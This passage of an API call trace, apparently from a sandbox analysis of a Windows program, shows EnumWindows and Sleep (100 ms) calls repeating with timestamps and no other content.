(lpEnumFunc=0x423dd0, lParam=0x410000) [0144.668] Sleep (dwMilliseconds=0x64) [0144.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.669] Sleep (dwMilliseconds=0x64) [0144.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.671] Sleep (dwMilliseconds=0x64) [0144.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.673] Sleep (dwMilliseconds=0x64) [0144.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.674] Sleep (dwMilliseconds=0x64) [0144.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.676] Sleep (dwMilliseconds=0x64) [0144.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.677] Sleep (dwMilliseconds=0x64) [0144.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.679] Sleep (dwMilliseconds=0x64) [0144.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.680] Sleep (dwMilliseconds=0x64) [0144.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.682] Sleep (dwMilliseconds=0x64) [0144.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.683] Sleep (dwMilliseconds=0x64) [0144.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.690] Sleep (dwMilliseconds=0x64) [0144.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.692] Sleep (dwMilliseconds=0x64) [0144.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.693] Sleep (dwMilliseconds=0x64) [0144.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.696] Sleep (dwMilliseconds=0x64) [0144.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.698] Sleep (dwMilliseconds=0x64) [0144.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.700] Sleep (dwMilliseconds=0x64) [0144.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.702] Sleep (dwMilliseconds=0x64) [0144.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.704] Sleep (dwMilliseconds=0x64) [0144.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.706] Sleep (dwMilliseconds=0x64) [0144.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.723] Sleep (dwMilliseconds=0x64) [0144.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.725] Sleep (dwMilliseconds=0x64) [0144.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.727] Sleep (dwMilliseconds=0x64) [0144.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.728] Sleep (dwMilliseconds=0x64) [0144.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.730] Sleep (dwMilliseconds=0x64) [0144.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.732] Sleep (dwMilliseconds=0x64) [0144.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.734] Sleep (dwMilliseconds=0x64) [0144.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.736] Sleep (dwMilliseconds=0x64) [0144.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.739] Sleep (dwMilliseconds=0x64) [0144.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.740] Sleep (dwMilliseconds=0x64) [0144.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.742] Sleep (dwMilliseconds=0x64) [0144.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.744] Sleep (dwMilliseconds=0x64) [0144.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.746] Sleep (dwMilliseconds=0x64) [0144.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.747] Sleep (dwMilliseconds=0x64) [0144.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.749] Sleep (dwMilliseconds=0x64) [0144.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.750] Sleep (dwMilliseconds=0x64) [0144.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.753] Sleep (dwMilliseconds=0x64) [0144.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.755] Sleep (dwMilliseconds=0x64) [0144.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.756] Sleep (dwMilliseconds=0x64) [0144.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.758] Sleep (dwMilliseconds=0x64) [0144.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.759] Sleep (dwMilliseconds=0x64) [0144.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.761] Sleep (dwMilliseconds=0x64) [0144.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.763] Sleep (dwMilliseconds=0x64) [0144.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.765] Sleep (dwMilliseconds=0x64) [0144.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.766] Sleep (dwMilliseconds=0x64) [0144.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.768] Sleep (dwMilliseconds=0x64) [0144.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.770] Sleep (dwMilliseconds=0x64) [0144.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.772] Sleep (dwMilliseconds=0x64) [0144.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.773] Sleep (dwMilliseconds=0x64) [0144.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.775] Sleep (dwMilliseconds=0x64) [0144.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.777] Sleep (dwMilliseconds=0x64) [0144.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.778] Sleep (dwMilliseconds=0x64) [0144.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.857] Sleep (dwMilliseconds=0x64) [0144.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.859] Sleep (dwMilliseconds=0x64) [0144.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.861] Sleep (dwMilliseconds=0x64) [0144.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.863] Sleep (dwMilliseconds=0x64) [0144.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.866] Sleep (dwMilliseconds=0x64) [0144.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.867] Sleep (dwMilliseconds=0x64) [0144.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.870] Sleep (dwMilliseconds=0x64) [0144.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.872] Sleep (dwMilliseconds=0x64) [0144.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.874] Sleep (dwMilliseconds=0x64) [0144.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.876] Sleep (dwMilliseconds=0x64) [0144.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.877] Sleep (dwMilliseconds=0x64) [0144.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.879] Sleep (dwMilliseconds=0x64) [0144.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.880] Sleep (dwMilliseconds=0x64) [0144.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.882] Sleep (dwMilliseconds=0x64) [0144.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.883] Sleep (dwMilliseconds=0x64) [0144.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.885] Sleep (dwMilliseconds=0x64) [0144.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.922] Sleep (dwMilliseconds=0x64) [0144.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.924] Sleep (dwMilliseconds=0x64) [0144.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.925] Sleep (dwMilliseconds=0x64) [0144.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.927] Sleep (dwMilliseconds=0x64) [0144.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.928] Sleep (dwMilliseconds=0x64) [0144.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.930] Sleep (dwMilliseconds=0x64) [0144.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.931] Sleep (dwMilliseconds=0x64) [0144.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.933] Sleep (dwMilliseconds=0x64) [0144.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.934] Sleep (dwMilliseconds=0x64) [0144.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.936] Sleep (dwMilliseconds=0x64) [0144.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.938] Sleep (dwMilliseconds=0x64) [0144.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.939] Sleep (dwMilliseconds=0x64) [0144.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.941] Sleep (dwMilliseconds=0x64) [0144.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.942] Sleep (dwMilliseconds=0x64) [0144.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.945] Sleep (dwMilliseconds=0x64) [0144.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.947] Sleep (dwMilliseconds=0x64) [0144.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.949] Sleep (dwMilliseconds=0x64) [0144.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.951] Sleep (dwMilliseconds=0x64) [0144.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.952] Sleep (dwMilliseconds=0x64) [0144.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.954] Sleep (dwMilliseconds=0x64) [0144.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.955] Sleep (dwMilliseconds=0x64) [0144.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.957] Sleep (dwMilliseconds=0x64) [0144.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.963] Sleep (dwMilliseconds=0x64) [0144.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.965] Sleep (dwMilliseconds=0x64) [0144.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.967] Sleep (dwMilliseconds=0x64) [0145.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.056] Sleep (dwMilliseconds=0x64) [0145.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.136] Sleep (dwMilliseconds=0x64) [0145.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.138] Sleep (dwMilliseconds=0x64) [0145.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.140] Sleep (dwMilliseconds=0x64) [0145.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.142] Sleep (dwMilliseconds=0x64) [0145.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.144] Sleep (dwMilliseconds=0x64) [0145.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.145] Sleep (dwMilliseconds=0x64) [0145.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.147] Sleep (dwMilliseconds=0x64) [0145.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.149] Sleep (dwMilliseconds=0x64) [0145.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.151] Sleep (dwMilliseconds=0x64) [0145.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.154] Sleep (dwMilliseconds=0x64) [0145.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.155] Sleep (dwMilliseconds=0x64) [0145.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.157] Sleep (dwMilliseconds=0x64) [0145.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.159] Sleep (dwMilliseconds=0x64) [0145.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.160] Sleep (dwMilliseconds=0x64) [0145.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.162] Sleep (dwMilliseconds=0x64) [0145.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.164] Sleep (dwMilliseconds=0x64) [0145.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.166] Sleep (dwMilliseconds=0x64) [0145.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.167] Sleep (dwMilliseconds=0x64) [0145.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.169] Sleep (dwMilliseconds=0x64) [0145.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.171] Sleep (dwMilliseconds=0x64) [0145.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.173] Sleep (dwMilliseconds=0x64) [0145.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.174] Sleep (dwMilliseconds=0x64) [0145.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.176] Sleep (dwMilliseconds=0x64) [0145.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.178] Sleep (dwMilliseconds=0x64) [0145.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.183] Sleep (dwMilliseconds=0x64) [0145.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.185] Sleep (dwMilliseconds=0x64) [0145.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.186] Sleep (dwMilliseconds=0x64) [0145.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.188] Sleep (dwMilliseconds=0x64) [0145.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.189] Sleep (dwMilliseconds=0x64) [0145.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.192] Sleep (dwMilliseconds=0x64) [0145.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.194] Sleep (dwMilliseconds=0x64) [0145.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.195] Sleep (dwMilliseconds=0x64) [0145.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.197] Sleep (dwMilliseconds=0x64) [0145.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.198] Sleep (dwMilliseconds=0x64) [0145.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.200] Sleep (dwMilliseconds=0x64) [0145.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.202] Sleep (dwMilliseconds=0x64) [0145.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.204] Sleep (dwMilliseconds=0x64) [0145.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.205] Sleep (dwMilliseconds=0x64) [0145.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.207] Sleep (dwMilliseconds=0x64) [0145.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.208] Sleep (dwMilliseconds=0x64) [0145.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.210] Sleep (dwMilliseconds=0x64) [0145.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.211] Sleep (dwMilliseconds=0x64) [0145.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.214] Sleep (dwMilliseconds=0x64) [0145.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.215] Sleep (dwMilliseconds=0x64) [0145.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.217] Sleep (dwMilliseconds=0x64) [0145.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.219] Sleep (dwMilliseconds=0x64) [0145.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.220] Sleep (dwMilliseconds=0x64) [0145.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.222] Sleep (dwMilliseconds=0x64) [0145.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.223] Sleep (dwMilliseconds=0x64) [0145.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.225] Sleep (dwMilliseconds=0x64) [0145.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.226] Sleep (dwMilliseconds=0x64) [0145.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.228] Sleep (dwMilliseconds=0x64) [0145.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.229] Sleep (dwMilliseconds=0x64) [0145.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.231] Sleep (dwMilliseconds=0x64) [0145.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.232] Sleep (dwMilliseconds=0x64) [0145.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.234] Sleep (dwMilliseconds=0x64) [0145.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.235] Sleep (dwMilliseconds=0x64) [0145.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.237] Sleep (dwMilliseconds=0x64) [0145.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.238] Sleep (dwMilliseconds=0x64) [0145.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.240] Sleep (dwMilliseconds=0x64) [0145.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.241] Sleep (dwMilliseconds=0x64) [0145.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.243] Sleep (dwMilliseconds=0x64) [0145.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.245] Sleep (dwMilliseconds=0x64) [0145.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.247] Sleep (dwMilliseconds=0x64) [0145.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.249] Sleep (dwMilliseconds=0x64) [0145.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.250] Sleep (dwMilliseconds=0x64) [0145.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.252] Sleep (dwMilliseconds=0x64) [0145.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.253] Sleep (dwMilliseconds=0x64) [0145.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.255] Sleep (dwMilliseconds=0x64) [0145.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.256] Sleep (dwMilliseconds=0x64) [0145.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.258] Sleep (dwMilliseconds=0x64) [0145.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.259] Sleep (dwMilliseconds=0x64) [0145.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.261] Sleep (dwMilliseconds=0x64) [0145.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.262] Sleep (dwMilliseconds=0x64) [0145.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.264] Sleep (dwMilliseconds=0x64) [0145.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.265] Sleep (dwMilliseconds=0x64) [0145.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.267] Sleep (dwMilliseconds=0x64) [0145.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.268] Sleep (dwMilliseconds=0x64) [0145.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.270] Sleep (dwMilliseconds=0x64) [0145.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.271] Sleep (dwMilliseconds=0x64) [0145.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.273] Sleep (dwMilliseconds=0x64) [0145.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.274] Sleep (dwMilliseconds=0x64) [0145.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.276] Sleep (dwMilliseconds=0x64) [0145.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.278] Sleep (dwMilliseconds=0x64) [0145.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.280] Sleep (dwMilliseconds=0x64) [0145.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.282] Sleep (dwMilliseconds=0x64) [0145.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.283] Sleep (dwMilliseconds=0x64) [0145.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.285] Sleep (dwMilliseconds=0x64) [0145.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.286] Sleep (dwMilliseconds=0x64) [0145.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.288] Sleep (dwMilliseconds=0x64) [0145.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.289] Sleep (dwMilliseconds=0x64) [0145.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.291] Sleep (dwMilliseconds=0x64) [0145.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.292] Sleep (dwMilliseconds=0x64) [0145.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.294] Sleep (dwMilliseconds=0x64) [0145.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.295] Sleep (dwMilliseconds=0x64) [0145.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.297] Sleep (dwMilliseconds=0x64) [0145.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.298] Sleep (dwMilliseconds=0x64) [0145.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.300] Sleep (dwMilliseconds=0x64) [0145.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.302] Sleep (dwMilliseconds=0x64) [0145.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.304] Sleep (dwMilliseconds=0x64) [0145.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.305] Sleep (dwMilliseconds=0x64) [0145.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.307] Sleep (dwMilliseconds=0x64) [0145.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.308] Sleep (dwMilliseconds=0x64) [0145.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.310] Sleep (dwMilliseconds=0x64) [0145.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.313] Sleep (dwMilliseconds=0x64) [0145.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.314] Sleep (dwMilliseconds=0x64) [0145.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.316] Sleep (dwMilliseconds=0x64) [0145.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.318] Sleep (dwMilliseconds=0x64) [0145.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.319] Sleep (dwMilliseconds=0x64) [0145.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.321] Sleep (dwMilliseconds=0x64) [0145.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.323] Sleep (dwMilliseconds=0x64) [0145.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.325] Sleep (dwMilliseconds=0x64) [0145.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.327] Sleep (dwMilliseconds=0x64) [0145.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.328] Sleep (dwMilliseconds=0x64) [0145.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.330] Sleep (dwMilliseconds=0x64) [0145.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.332] Sleep (dwMilliseconds=0x64) [0145.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.333] Sleep (dwMilliseconds=0x64) [0145.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.335] Sleep (dwMilliseconds=0x64) [0145.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.336] Sleep (dwMilliseconds=0x64) [0145.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.338] Sleep (dwMilliseconds=0x64) [0145.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.340] Sleep (dwMilliseconds=0x64) [0145.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.378] Sleep (dwMilliseconds=0x64) [0145.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.380] Sleep (dwMilliseconds=0x64) [0145.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.382] Sleep (dwMilliseconds=0x64) [0145.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.383] Sleep (dwMilliseconds=0x64) [0145.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.385] Sleep (dwMilliseconds=0x64) [0145.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.386] Sleep (dwMilliseconds=0x64) [0145.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.389] Sleep (dwMilliseconds=0x64) [0145.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.390] Sleep (dwMilliseconds=0x64) [0145.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.392] Sleep (dwMilliseconds=0x64) [0145.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.394] Sleep (dwMilliseconds=0x64) [0145.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.395] Sleep (dwMilliseconds=0x64) [0145.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.396] Sleep (dwMilliseconds=0x64) [0145.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.398] Sleep (dwMilliseconds=0x64) [0145.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.399] Sleep (dwMilliseconds=0x64) [0145.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.402] Sleep (dwMilliseconds=0x64) [0145.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.403] Sleep (dwMilliseconds=0x64) [0145.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.405] Sleep (dwMilliseconds=0x64) [0145.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.443] Sleep (dwMilliseconds=0x64) [0145.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.445] Sleep (dwMilliseconds=0x64) [0145.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.447] Sleep (dwMilliseconds=0x64) [0145.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.449] Sleep (dwMilliseconds=0x64) [0145.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.450] Sleep (dwMilliseconds=0x64) [0145.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.452] Sleep (dwMilliseconds=0x64) [0145.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.454] Sleep (dwMilliseconds=0x64) [0145.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.455] Sleep (dwMilliseconds=0x64) [0145.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.457] Sleep (dwMilliseconds=0x64) [0145.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.459] Sleep (dwMilliseconds=0x64) [0145.460] 